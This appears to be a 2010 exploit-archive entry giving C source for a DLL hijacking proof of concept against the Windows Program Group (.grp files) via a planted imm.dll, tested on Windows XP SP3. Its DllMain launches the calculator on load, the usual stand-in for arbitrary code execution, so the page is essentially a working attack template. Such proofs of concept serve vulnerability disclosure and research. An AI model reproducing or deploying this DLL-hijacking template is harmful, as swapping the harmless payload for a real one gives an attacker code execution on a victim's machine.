Windows Program Group DLL Hijacking Exploit (imm.dll)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Windows Program Group DLL Hijacking Exploit (imm.dll)
# Published : 2010-08-25
# Author : Alvaro Ovalle Castaneda
# Previous Title : Microsoft Office PowerPoint 2007 DLL Hijacking Exploit (rpawinet.dll)
# Next Title : Demon tool lite DLL Hijacking Exploit (mfc80loc.dll)

/*
Exploit Title: Windows Program Group DLL Hijacking Exploit (imm.dll)
Date: 25/08/2010
Author: Alvaro Ovalle
Email: aovalle (at) zoho (dot) com
Software Link: N/A
Tested on: Windows XP SP3 English
Extension: .grp
*/
#include <windows.h>

int run()
{
  WinExec("calc", SW_SHOW);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  run();
  return 0;
}